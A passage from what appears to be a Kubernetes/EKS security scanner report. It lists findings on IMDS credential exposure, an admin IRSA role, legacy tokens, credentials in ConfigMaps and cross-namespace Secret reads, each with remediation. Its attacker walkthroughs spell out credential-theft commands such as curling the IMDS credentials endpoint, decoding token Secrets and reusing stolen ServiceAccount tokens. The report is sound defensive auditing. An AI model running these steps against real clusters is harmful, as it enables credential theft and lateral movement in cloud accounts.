EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"flat-network/unmatched"
reason
"no-egress-policy"
sa
"flat-network/default"
workload
"Deployment/flat-network/unmatched"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "flat-network/unmatched",
  "reason": "no-egress-policy",
  "sa": "flat-network/default",
  "workload": "Deployment/flat-network/unmatched"
}
HIGH

ServiceAccount bound to admin-flavored IAM role via IRSA

KUBE-CLOUD-IRSA-ADMIN-ROLE-001 1 subject Score 9.8

Affected subject

HIGH ServiceAccount/cloud-eks-test/eks-admin-irsa Workload 9.8
ServiceAccount bound to admin-flavored IAM role via IRSA
Scope · Workload ServiceAccount cloud-eks-test/eks-admin-irsa and every pod that mounts it
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/eks-admin-irsa Resource: ServiceAccount/cloud-eks-test/eks-admin-irsa

ServiceAccount cloud-eks-test/eks-admin-irsa is annotated with eks.amazonaws.com/role-arn=arn:aws:iam::123456789012:role/AdministratorAccess; the role name matches an admin pattern (admin-substring). Any pod using this SA receives an IRSA token that authenticates to AWS as that role.

How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueAssume AWS IAM Role via IRSA

A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

Remediation
Replace the admin role with a least-privilege IAM role scoped to the API actions the workload actually needs.
Evidence
arn
"arn:aws:iam::123456789012:role/AdministratorAccess"
matchedKeyword
"Administrator"
reason
"admin-substring"
sa
"cloud-eks-test/eks-admin-irsa"
Show raw JSON
{
  "arn": "arn:aws:iam::123456789012:role/AdministratorAccess",
  "matchedKeyword": "Administrator",
  "reason": "admin-substring",
  "sa": "cloud-eks-test/eks-admin-irsa"
}
LOW

Pod talks to AWS but its ServiceAccount has no IRSA annotation

KUBE-CLOUD-IRSA-MISSING-001 1 subject Score 5.5

Affected subject

LOW ServiceAccount/cloud-eks-test/default Workload 5.5
Pod talks to AWS but its ServiceAccount has no IRSA annotation
Scope · Workload Workload cloud-eks-test/Deployment/imds-pivot-app
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/default Resource: Deployment/cloud-eks-test/imds-pivot-app

Pod cloud-eks-test/imds-pivot-app shows AWS-SDK hints (image: aws-cli) but its ServiceAccount cloud-eks-test/default carries no eks.amazonaws.com/role-arn annotation. Without IRSA, AWS SDKs typically fall back to the node's IMDS-served instance profile, which gives every workload on that node the same AWS privileges.

How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
Remediation
Create a least-privilege IAM role for the workload and annotate its ServiceAccount with eks.amazonaws.com/role-arn.
Evidence
hintKind
"image"
matchedHint
"aws-cli"
pod
"cloud-eks-test/imds-pivot-app"
sa
"cloud-eks-test/default"
Show raw JSON
{
  "hintKind": "image",
  "matchedHint": "aws-cli",
  "pod": "cloud-eks-test/imds-pivot-app",
  "sa": "cloud-eks-test/default"
}

Secrets & ConfigMaps

10 findings · 6 rules · 0 critical · 3 high · 5 medium · 2 low
HIGH

Secret vulnerable/legacy-token is a long-lived kubernetes.io/service-account-token (legacy, no expiry)

KUBE-SECRETS-001 1 subject Score 7.8

Affected subject

HIGH Secret/vulnerable/legacy-token Object 7.8
Secret vulnerable/legacy-token is a long-lived kubernetes.io/service-account-token (legacy, no expiry)
Scope · Object Secret vulnerable/legacy-token: credential is valid until manually deleted; readable by any subject with get/list secrets in vulnerable
Category: Data Exfiltration Resource: Secret/vulnerable/legacy-token Namespace: vulnerable

Secret vulnerable/legacy-token has type kubernetes.io/service-account-token. This is the legacy ServiceAccount token model: the token-controller persists a JWT into a Secret, the token has *no expiry* (the audience is the API server, the validity is open-ended), and it is readable by any subject with get/list secrets permission in the namespace.

Since Kubernetes v1.22, Bound ServiceAccount Tokens (KEP-1205) replaced this model: the kubelet projects a *new* token into the pod's filesystem with a short TTL (default 1h) and the token is bound to the pod object, so deleting the pod invalidates the token. v1.24 stopped auto-creating these legacy Secret tokens, and v1.27+ ships the LegacyServiceAccountTokenCleaner controller that removes unused ones automatically. A legacy token Secret today is either an artifact of a pre-1.24 cluster, a manually-created serviceAccountToken Secret, or a controller that explicitly created one. None of these carry the bind-to-pod, time-bounded properties of projected tokens.

The risk profile: a leaked legacy token grants whatever permissions its ServiceAccount has, *forever*, with no automatic revocation. It survives Pod restarts, node reboots, audit events, and rotation of the SA itself. Detection of misuse requires explicit audit-log monitoring against the SA name; rotation requires deleting the Secret and reissuing.

Impact Anyone who exfiltrates this Secret holds a non-expiring credential with the ServiceAccount's full RBAC; rotation requires manual kubectl delete secret and re-issue, and there is no time-based mitigation.
How an attacker abuses this
Background
ResourceSecret

A Secret holds sensitive data: registry pull credentials, TLS private keys, ServiceAccount tokens. Secrets are base64-encoded, not encrypted by default. Anyone with get on the Secret resource can read the contents in cleartext. get/list/watch on Secrets in kube-system is effectively cluster-admin: that namespace holds the controller-manager and kube-scheduler tokens.

Kubernetes docs ↗
  1. Attacker compromises any subject with get secrets in vulnerable (e.g., a forgotten view-style role, an over-permissive ConfigMap-reader role that wildcards resources, or a pod token with secret-read).
  2. They kubectl get secret legacy-token -n vulnerable -o jsonpath='{.data.token}' | base64 -d and obtain the raw JWT.
  3. They use the token against the kube-apiserver from outside the cluster (kubectl --token=...). No pod, no node, no IMDS hop required.
  4. Because the token has no exp claim and no audience binding to a Pod, it remains valid weeks or months later. Rotation in IR is manual: delete the Secret + recreate, and any cached copies attacker has are *still valid until that delete*.
  5. Attacker uses the SA's RBAC to read other Secrets, list pods cluster-wide (if SA has it), exec into pods, or escalate via any of the privesc paths the SA enables.
Remediation
Migrate the consumer of vulnerable/legacy-token to a projected ServiceAccount token, then delete the Secret. Enable LegacyServiceAccountTokenCleaner on the cluster.
  1. Identify what reads vulnerable/legacy-token: kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.secret.secretName == "legacy-token") | .metadata.namespace + "/" + .metadata.name'. Also check Jobs, CronJobs, and external systems that might have copied the token out.
  2. Migrate each consumer to a projected SA token (serviceAccountToken projection in volumes) with a sensible expirationSeconds (e.g., 3600). The kubelet will refresh it automatically.
  3. For external consumers (CI runners, dashboards) that need a long-lived token, use TokenRequest API on demand instead of a stored Secret, or rotate via a sealed-secret / external-secret-store flow.
  4. kubectl delete secret legacy-token -n vulnerable once consumers are migrated. Confirm no pod has a CrashLoopBackOff that mentions the missing token.
  5. Enable the LegacyServiceAccountTokenCleaner (default on v1.29+) so future stragglers get garbage-collected after their last-used timestamp ages out.
Evidence
Typekubernetes.io/service-account-token
Long-lived ServiceAccount token (holding it is acting as the SA)
Show raw JSON
{
  "type": "kubernetes.io/service-account-token"
}
HIGH

ConfigMap secrets-bundle/app-credentials has key aws_secret_access_key matching a credential-name pattern

KUBE-CONFIGMAP-CREDS-001 2 subjects Score 7.4

Affected subjects (2)

HIGH ConfigMap/secrets-bundle/app-credentials Object 7.4
ConfigMap secrets-bundle/app-credentials has key aws_secret_access_key matching a credential-name pattern
Scope · Object ConfigMap secrets-bundle/app-credentials: key aws_secret_access_key is readable in plaintext to every subject with get configmaps in secrets-bundle and lands in unencrypted etcd, audit logs, and cluster backups.
Category: Data Exfiltration Resource: ConfigMap/secrets-bundle/app-credentials Namespace: secrets-bundle

ConfigMap secrets-bundle/app-credentials contains the key aws_secret_access_key. The key name matches a high-confidence credential pattern (password, passwd, secret, token, api_key/apikey, aws_secret_access_key, dsn, connection_string, etc.). The kubesplaining collector preserves ConfigMap keys but redacts values to maintain the cluster's privacy contract, so this rule cannot inspect the value, only the key name.

The risk is the same as KUBE-CONFIGMAP-001: ConfigMap data is non-sensitive by design. etcd does not encrypt it (encryption-at-rest is opt-in and almost always limited to Secrets), kubectl describe configmap prints values inline, audit logs include payloads on get/list, and the namespace-default view and edit cluster-role bindings give workload SAs much wider read on ConfigMaps than on Secrets. Storing a credential in a ConfigMap therefore exposes it to a *much larger* set of subjects than the equivalent Secret would.

Because this rule fires per-(ConfigMap, key) pair (versus KUBE-CONFIGMAP-001 which surfaces a list of matched keys per ConfigMap), it produces a more granular finding stream. Use it for triage when you have many ConfigMaps to audit. Keys that match in name but not intent (password_strength_requirement, api_key_format_version, cache_key_prefix) are expected false positives: review the value out-of-band before treating as a real leak.

Impact If the value of aws_secret_access_key in secrets-bundle/app-credentials is a real credential, that credential is exposed to every subject with get configmaps in secrets-bundle, which is typically every workload SA in the namespace via the default view cluster role.
How an attacker abuses this
Background
ResourceConfigMap

A ConfigMap stores plain-text configuration that pods read at startup. They are not meant to hold secrets, but in practice teams put database URLs (with passwords), API keys, and tokens in ConfigMaps. Kubesplaining flags credential-shaped keys for that reason.

  1. Attacker compromises any workload in secrets-bundle whose ServiceAccount has get configmaps (the namespace-default view cluster role grants it; most pods running with the namespace default SA have it transitively).
  2. They kubectl get configmap app-credentials -n secrets-bundle -o yaml and read data.aws_secret_access_key directly. ConfigMap values are plaintext: no decoding required.
  3. They identify the credential class from the value's shape (postgres://user:pass@host/db is a DSN, eyJ... is a JWT, AKIA-prefixed strings are AWS keys, xoxb- is Slack, ghp_ is a GitHub token).
  4. They use the credential immediately. ConfigMap-stored credentials almost never have IP allowlists, short TTLs, or rotation automation: they were put in a ConfigMap *because* the team didn't want operational complexity.
  5. Detection lags. Audit-log review on ConfigMaps is rare in most clusters because ConfigMap reads are dominated by legitimate config-loading. The compromise typically surfaces only when the upstream credential is rotated for unrelated reasons.
Remediation
Verify whether aws_secret_access_key in secrets-bundle/app-credentials actually holds a credential; if so, move it to a Secret (or external secret store) and remove the key from the ConfigMap.
  1. Inspect the value: kubectl get cm app-credentials -n secrets-bundle -o jsonpath='{.data.aws_secret_access_key}'. Confirm whether it's a real credential or a benign config (a feature-flag name, a cache prefix, a strength-requirement string).
  2. If it's a real credential, rotate at the source first (cloud IAM, OIDC IDP, registry, database). Treat the original value as fully exposed: anyone with view on secrets-bundle could have read it.
  3. Create a Secret with the new value: kubectl create secret generic app-credentials-credentials -n secrets-bundle --from-literal=aws_secret_access_key=$NEW. Update consumers to read from the Secret via envFrom or volume mount instead of valueFrom: configMapKeyRef.
  4. Remove the key from the ConfigMap: kubectl patch cm app-credentials -n secrets-bundle --type=json -p='[{"op":"remove","path":"/data/aws_secret_access_key"}]'. Verify consumers still work (kubectl rollout status).
  5. Wire prevention: a Kyverno ClusterPolicy that warns on ConfigMap.data keys matching password|secret|token|api_?key|aws_secret_access_key|dsn|connection_string. Pair with External Secrets Operator so the path of least resistance is to use a real secret store.
Evidence
Namespacesecrets-bundle
matched_key
"aws_secret_access_key"
Show raw JSON
{
  "matched_key": "aws_secret_access_key",
  "namespace": "secrets-bundle"
}
HIGH ConfigMap/vulnerable/app-config Object 7.4
ConfigMap vulnerable/app-config has key api_token matching a credential-name pattern
Scope · Object ConfigMap vulnerable/app-config: key api_token is readable in plaintext to every subject with get configmaps in vulnerable and lands in unencrypted etcd, audit logs, and cluster backups.
Category: Data Exfiltration Resource: ConfigMap/vulnerable/app-config Namespace: vulnerable

ConfigMap vulnerable/app-config contains the key api_token. The key name matches a high-confidence credential pattern (password, passwd, secret, token, api_key/apikey, aws_secret_access_key, dsn, connection_string, etc.). The kubesplaining collector preserves ConfigMap keys but redacts values to maintain the cluster's privacy contract, so this rule cannot inspect the value, only the key name.

The risk is the same as KUBE-CONFIGMAP-001: ConfigMap data is non-sensitive by design. etcd does not encrypt it (encryption-at-rest is opt-in and almost always limited to Secrets), kubectl describe configmap prints values inline, audit logs include payloads on get/list, and the namespace-default view and edit cluster-role bindings give workload SAs much wider read on ConfigMaps than on Secrets. Storing a credential in a ConfigMap therefore exposes it to a *much larger* set of subjects than the equivalent Secret would.

Because this rule fires per-(ConfigMap, key) pair (versus KUBE-CONFIGMAP-001 which surfaces a list of matched keys per ConfigMap), it produces a more granular finding stream. Use it for triage when you have many ConfigMaps to audit. Keys that match in name but not intent (password_strength_requirement, api_key_format_version, cache_key_prefix) are expected false positives: review the value out-of-band before treating as a real leak.

Impact If the value of api_token in vulnerable/app-config is a real credential, that credential is exposed to every subject with get configmaps in vulnerable, which is typically every workload SA in the namespace via the default view cluster role.
How an attacker abuses this
Background
ResourceConfigMap

A ConfigMap stores plain-text configuration that pods read at startup. They are not meant to hold secrets, but in practice teams put database URLs (with passwords), API keys, and tokens in ConfigMaps. Kubesplaining flags credential-shaped keys for that reason.

  1. Attacker compromises any workload in vulnerable whose ServiceAccount has get configmaps (the namespace-default view cluster role grants it; most pods running with the namespace default SA have it transitively).
  2. They kubectl get configmap app-config -n vulnerable -o yaml and read data.api_token directly. ConfigMap values are plaintext: no decoding required.
  3. They identify the credential class from the value's shape (postgres://user:pass@host/db is a DSN, eyJ... is a JWT, AKIA-prefixed strings are AWS keys, xoxb- is Slack, ghp_ is a GitHub token).
  4. They use the credential immediately. ConfigMap-stored credentials almost never have IP allowlists, short TTLs, or rotation automation: they were put in a ConfigMap *because* the team didn't want operational complexity.
  5. Detection lags. Audit-log review on ConfigMaps is rare in most clusters because ConfigMap reads are dominated by legitimate config-loading. The compromise typically surfaces only when the upstream credential is rotated for unrelated reasons.
Remediation
Verify whether api_token in vulnerable/app-config actually holds a credential; if so, move it to a Secret (or external secret store) and remove the key from the ConfigMap.
  1. Inspect the value: kubectl get cm app-config -n vulnerable -o jsonpath='{.data.api_token}'. Confirm whether it's a real credential or a benign config (a feature-flag name, a cache prefix, a strength-requirement string).
  2. If it's a real credential, rotate at the source first (cloud IAM, OIDC IDP, registry, database). Treat the original value as fully exposed: anyone with view on vulnerable could have read it.
  3. Create a Secret with the new value: kubectl create secret generic app-config-credentials -n vulnerable --from-literal=api_token=$NEW. Update consumers to read from the Secret via envFrom or volume mount instead of valueFrom: configMapKeyRef.
  4. Remove the key from the ConfigMap: kubectl patch cm app-config -n vulnerable --type=json -p='[{"op":"remove","path":"/data/api_token"}]'. Verify consumers still work (kubectl rollout status).
  5. Wire prevention: a Kyverno ClusterPolicy that warns on ConfigMap.data keys matching password|secret|token|api_?key|aws_secret_access_key|dsn|connection_string. Pair with External Secrets Operator so the path of least resistance is to use a real secret store.
Evidence
Namespacevulnerable
matched_key
"api_token"
Show raw JSON
{
  "matched_key": "api_token",
  "namespace": "vulnerable"
}
MEDIUM

ServiceAccount rbac-fixtures/sa-wildcard can read Secrets in namespace (cluster-wide) (used by workloads in rbac-fixtures)

KUBE-SECRETS-CROSSNS-001 2 subjects Score 8.4

Affected subjects (2)

MEDIUM ServiceAccount/rbac-fixtures/sa-wildcard Namespace 8.4
ServiceAccount rbac-fixtures/sa-wildcard can read Secrets in namespace (cluster-wide) (used by workloads in rbac-fixtures)
Scope · Namespace ServiceAccount rbac-fixtures/sa-wildcard mounted in rbac-fixtures: holds get/list/watch on secrets in (cluster-wide) via crb-wildcard/cr-wildcard. A pod-to-API-server compromise reads every Secret in the target namespace.
Category: Lateral Movement Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: ServiceAccount/rbac-fixtures/sa-wildcard

ServiceAccount rbac-fixtures/sa-wildcard is mounted by workload(s) Pod/wildcard-app-85ff74597d-s68m5, Deployment/wildcard-app and has RBAC permission to get/list/watch Secrets in namespace (cluster-wide), granted by crb-wildcard (referencing cr-wildcard). Namespace rbac-fixtures is the namespace the SA *lives in*; namespace (cluster-wide) is *different*. The grant therefore lets a compromised pod in rbac-fixtures enumerate or read every Secret in (cluster-wide) via the projected SA token, without leaving the namespace it runs in.

This pattern is the most common lateral-movement primitive in production K8s clusters because the namespace boundary is the platform's primary isolation surface. Network policies, PSA labels, ResourceQuotas, image-pull credentials, and audit groupings all key on namespace. An RBAC grant that punches through the boundary collapses that isolation for the secret-read axis: the attacker doesn't need a network path, doesn't need a pod-create, doesn't need to escape to the node, they just kubectl get secret -n <other-namespace> with the projected token.

Three patterns produce this finding in real clusters: (1) a shared ClusterRole (e.g. secret-reader) bound to a workload SA via a ClusterRoleBinding, granting it cluster-wide read; (2) a multi-tenant operator (Vault sync, External Secrets Operator, cert-manager) deliberately granted cross-namespace read but with a wider scope than the operator actually needs; (3) a copy-pasted Helm chart's ClusterRole that was meant to be a Role. Each is fixable by replacing the grant with namespace-scoped Roles, restricting resourceNames, or moving the consumer into the target namespace.

Impact Anyone who compromises a pod running as rbac-fixtures/sa-wildcard can read every Secret in (cluster-wide) over the projected SA token, without needing a network egress, host escape, or RBAC modification. Lateral movement to the credentials of every workload in (cluster-wide) becomes a single kubectl get secret away.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker gains code execution inside a pod running as rbac-fixtures/sa-wildcard (RCE on the application, dependency confusion, supply chain compromise of a base image, etc.).
  2. They read the projected SA token at /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. They run kubectl --token=$(cat ...) get secrets -n (cluster-wide) against the in-cluster API server. RBAC permits it because crb-wildcard/cr-wildcard was granted across the namespace boundary.
  4. They harvest every Secret in (cluster-wide): TLS keys, OAuth client secrets, database passwords, registry pull credentials, ServiceAccount tokens, cloud provider IAM keys.
  5. They use the harvested credentials laterally: pivot to the cloud account, push a malicious image to the registry, authenticate as another workload's SA, sign their own short-lived tokens via TokenRequest, etc. The original rbac-fixtures/sa-wildcard pod is now optional; the cluster's secrets are exfiltrated.
Remediation
Replace the cross-namespace grant with the narrowest possible scope: a Role in (cluster-wide) (not a ClusterRole), resourceNames for the specific Secrets the workload needs, or move the consumer into (cluster-wide).
  1. Identify what the pod *actually* reads. kubectl logs and audit logs for objectRef.resource=secrets will show the specific Secret names. Most cross-namespace grants are over-broad: the workload only needs 1-2 Secrets, not the whole namespace.
  2. Replace the grant. Prefer (in order): (a) move the workload into (cluster-wide) so the grant becomes intra-namespace, (b) replace the ClusterRoleBinding with a RoleBinding in (cluster-wide) that points to a Role, (c) restrict the Role to resourceNames: [foo, bar] for the specific Secrets needed.
  3. For multi-tenant operators (External Secrets Operator, Vault sync, cert-manager), use the operator's per-namespace SecretStore / ClusterSecretStore selector mechanism instead of granting cluster-wide RBAC. The operator's docs document the right scoping.
  4. Audit the binding. kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name == "sa-wildcard" and .subjects[]?.namespace == "rbac-fixtures")' shows everything that grants this SA cross-namespace read.
  5. Wire enforcement: a Kyverno or Gatekeeper ClusterPolicy that warns/blocks any RoleBinding that points a non-system ClusterRole at a workload SA, or any ClusterRole that grants secrets:get without a resourceNames constraint.
Evidence
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecr-wildcard
Inspect: kubectl get clusterrole cr-wildcard -o yaml
Source bindingcrb-wildcard
Inspect: kubectl get clusterrolebinding crb-wildcard -o yaml
Show raw JSON
{
  "source_binding": "crb-wildcard",
  "source_role": "cr-wildcard",
  "target_namespace": "",
  "verbs": [
    "*"
  ]
}
MEDIUM ServiceAccount/secrets-bundle/cross-ns-reader Namespace 8.4
ServiceAccount secrets-bundle/cross-ns-reader can read Secrets in namespace secrets-bundle-target (used by workloads in secrets-bundle)
Scope · Namespace ServiceAccount secrets-bundle/cross-ns-reader mounted in secrets-bundle: holds get/list/watch on secrets in secrets-bundle-target via cross-ns-secrets-read/secrets-reader. A pod-to-API-server compromise reads every Secret in the target namespace.
Category: Lateral Movement Subject: ServiceAccount/secrets-bundle/cross-ns-reader Resource: ServiceAccount/secrets-bundle/cross-ns-reader

ServiceAccount secrets-bundle/cross-ns-reader is mounted by workload(s) Pod/cross-ns-consumer-6c945c9c9d-jfxxn, Deployment/cross-ns-consumer and has RBAC permission to get/list/watch Secrets in namespace secrets-bundle-target, granted by cross-ns-secrets-read (referencing secrets-reader). Namespace secrets-bundle is the namespace the SA *lives in*; namespace secrets-bundle-target is *different*. The grant therefore lets a compromised pod in secrets-bundle enumerate or read every Secret in secrets-bundle-target via the projected SA token, without leaving the namespace it runs in.

This pattern is the most common lateral-movement primitive in production K8s clusters because the namespace boundary is the platform's primary isolation surface. Network policies, PSA labels, ResourceQuotas, image-pull credentials, and audit groupings all key on namespace. An RBAC grant that punches through the boundary collapses that isolation for the secret-read axis: the attacker doesn't need a network path, doesn't need a pod-create, doesn't need to escape to the node, they just kubectl get secret -n <other-namespace> with the projected token.

Three patterns produce this finding in real clusters: (1) a shared ClusterRole (e.g. secret-reader) bound to a workload SA via a ClusterRoleBinding, granting it cluster-wide read; (2) a multi-tenant operator (Vault sync, External Secrets Operator, cert-manager) deliberately granted cross-namespace read but with a wider scope than the operator actually needs; (3) a copy-pasted Helm chart's ClusterRole that was meant to be a Role. Each is fixable by replacing the grant with namespace-scoped Roles, restricting resourceNames, or moving the consumer into the target namespace.

Impact Anyone who compromises a pod running as secrets-bundle/cross-ns-reader can read every Secret in secrets-bundle-target over the projected SA token, without needing a network egress, host escape, or RBAC modification. Lateral movement to the credentials of every workload in secrets-bundle-target becomes a single kubectl get secret away.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker gains code execution inside a pod running as secrets-bundle/cross-ns-reader (RCE on the application, dependency confusion, supply chain compromise of a base image, etc.).
  2. They read the projected SA token at /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. They run kubectl --token=$(cat ...) get secrets -n secrets-bundle-target against the in-cluster API server. RBAC permits it because cross-ns-secrets-read/secrets-reader was granted across the namespace boundary.
  4. They harvest every Secret in secrets-bundle-target: TLS keys, OAuth client secrets, database passwords, registry pull credentials, ServiceAccount tokens, cloud provider IAM keys.
  5. They use the harvested credentials laterally: pivot to the cloud account, push a malicious image to the registry, authenticate as another workload's SA, sign their own short-lived tokens via TokenRequest, etc. The original secrets-bundle/cross-ns-reader pod is now optional; the cluster's secrets are exfiltrated.
Remediation
Replace the cross-namespace grant with the narrowest possible scope: a Role in secrets-bundle-target (not a ClusterRole), resourceNames for the specific Secrets the workload needs, or move the consumer into secrets-bundle-target.
  1. Identify what the pod *actually* reads. kubectl logs and audit logs for objectRef.resource=secrets will show the specific Secret names. Most cross-namespace grants are over-broad: the workload only needs 1-2 Secrets, not the whole namespace.
  2. Replace the grant. Prefer (in order): (a) move the workload into secrets-bundle-target so the grant becomes intra-namespace, (b) replace the ClusterRoleBinding with a RoleBinding in secrets-bundle-target that points to a Role, (c) restrict the Role to resourceNames: [foo, bar] for the specific Secrets needed.
  3. For multi-tenant operators (External Secrets Operator, Vault sync, cert-manager), use the operator's per-namespace SecretStore / ClusterSecretStore selector mechanism instead of granting cluster-wide RBAC. The operator's docs document the right scoping.
  4. Audit the binding. kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name == "cross-ns-reader" and .subjects[]?.namespace == "secrets-bundle")' shows everything that grants this SA cross-namespace read.
  5. Wire enforcement: a Kyverno or Gatekeeper ClusterPolicy that warns/blocks any RoleBinding that points a non-system ClusterRole at a workload SA, or any ClusterRole that grants secrets:get without a resourceNames constraint.
Evidence
Verbsgetlist
Source rolesecrets-reader
Inspect: kubectl get clusterrole secrets-reader -o yaml
Source bindingcross-ns-secrets-read
Inspect: kubectl get clusterrolebinding cross-ns-secrets-read -o yaml
Show raw JSON
{
  "source_binding": "cross-ns-secrets-read",
  "source_role": "secrets-reader",
  "target_namespace": "secrets-bundle-target",
  "verbs": [
    "get",
    "list"
  ]
}
MEDIUM

ConfigMap secrets-bundle/app-credentials exposes credential-shaped keys (aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret) in plaintext

KUBE-CONFIGMAP-001 2 subjects Score 6.3

Affected subjects (2)

MEDIUM ConfigMap/secrets-bundle/app-credentials Object 6.3
ConfigMap secrets-bundle/app-credentials exposes credential-shaped keys (aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret) in plaintext
Scope · Object ConfigMap secrets-bundle/app-credentials: readable by every subject with get configmaps in secrets-bundle, ships unencrypted in etcd, surfaces in kubectl describe and audit logs
Category: Data Exfiltration Resource: ConfigMap/secrets-bundle/app-credentials Namespace: secrets-bundle

ConfigMap secrets-bundle/app-credentials contains keys with names matching credential-like patterns: aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret. The Kubernetes API treats ConfigMaps as non-sensitive: etcd stores them unencrypted by default (encryption-at-rest is opt-in and almost always limited to Secrets), kubectl describe configmap prints values inline, audit logs include the data on get/list, and RBAC defaults give workload service accounts much wider read on ConfigMaps than on Secrets.

Storing a credential in a ConfigMap therefore violates the basic Kubernetes data-classification model in three ways simultaneously: (1) it appears in plaintext to anyone with get configmaps (a much larger set of subjects than get secrets); (2) it ends up in cluster backups, etcd dumps, and platform observability tooling that explicitly excludes Secrets; (3) it does not benefit from any of the surface area Kubernetes builds around Secrets (envelope encryption, file-mode 0600 projection, KMS provider, External Secrets Operator).

The matched keys are heuristic, since key matches both apiKey and public_key, so review is required before assuming compromise. In practice the pattern is strong: in production clusters this finding correlates with real leaks the majority of the time. Treat as exposed-until-proven-otherwise.

Impact If any of the flagged keys (aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret) actually hold a credential, that credential is exposed to a wide audience: every workload SA in secrets-bundle, every backup operator, every audit log consumer, and possibly cluster-mirroring tooling.
How an attacker abuses this
Background
ResourceConfigMap

A ConfigMap stores plain-text configuration that pods read at startup. They are not meant to hold secrets, but in practice teams put database URLs (with passwords), API keys, and tokens in ConfigMaps. Kubesplaining flags credential-shaped keys for that reason.

  1. Attacker compromises a workload in secrets-bundle whose ServiceAccount has get configmaps (the typical default view role grants it).
  2. They kubectl get cm app-credentials -n secrets-bundle -o yaml and read the matched keys directly. No decoding needed since ConfigMap data is plaintext.
  3. They identify the credential class (DB connection string, API key, OAuth client_secret, signing key) from the key name and value shape.
  4. They use the credential immediately: DB connection strings often grant the same write permission the application has; API keys often have no IP restriction; client_secrets unlock the upstream identity provider.
  5. Because audit-log review on ConfigMaps is rare, the read goes unnoticed until the upstream credential is rotated for unrelated reasons.
Remediation
Move the credential out of secrets-bundle/app-credentials into a Kubernetes Secret (or, better, an external secret store) and remove the keys from the ConfigMap.
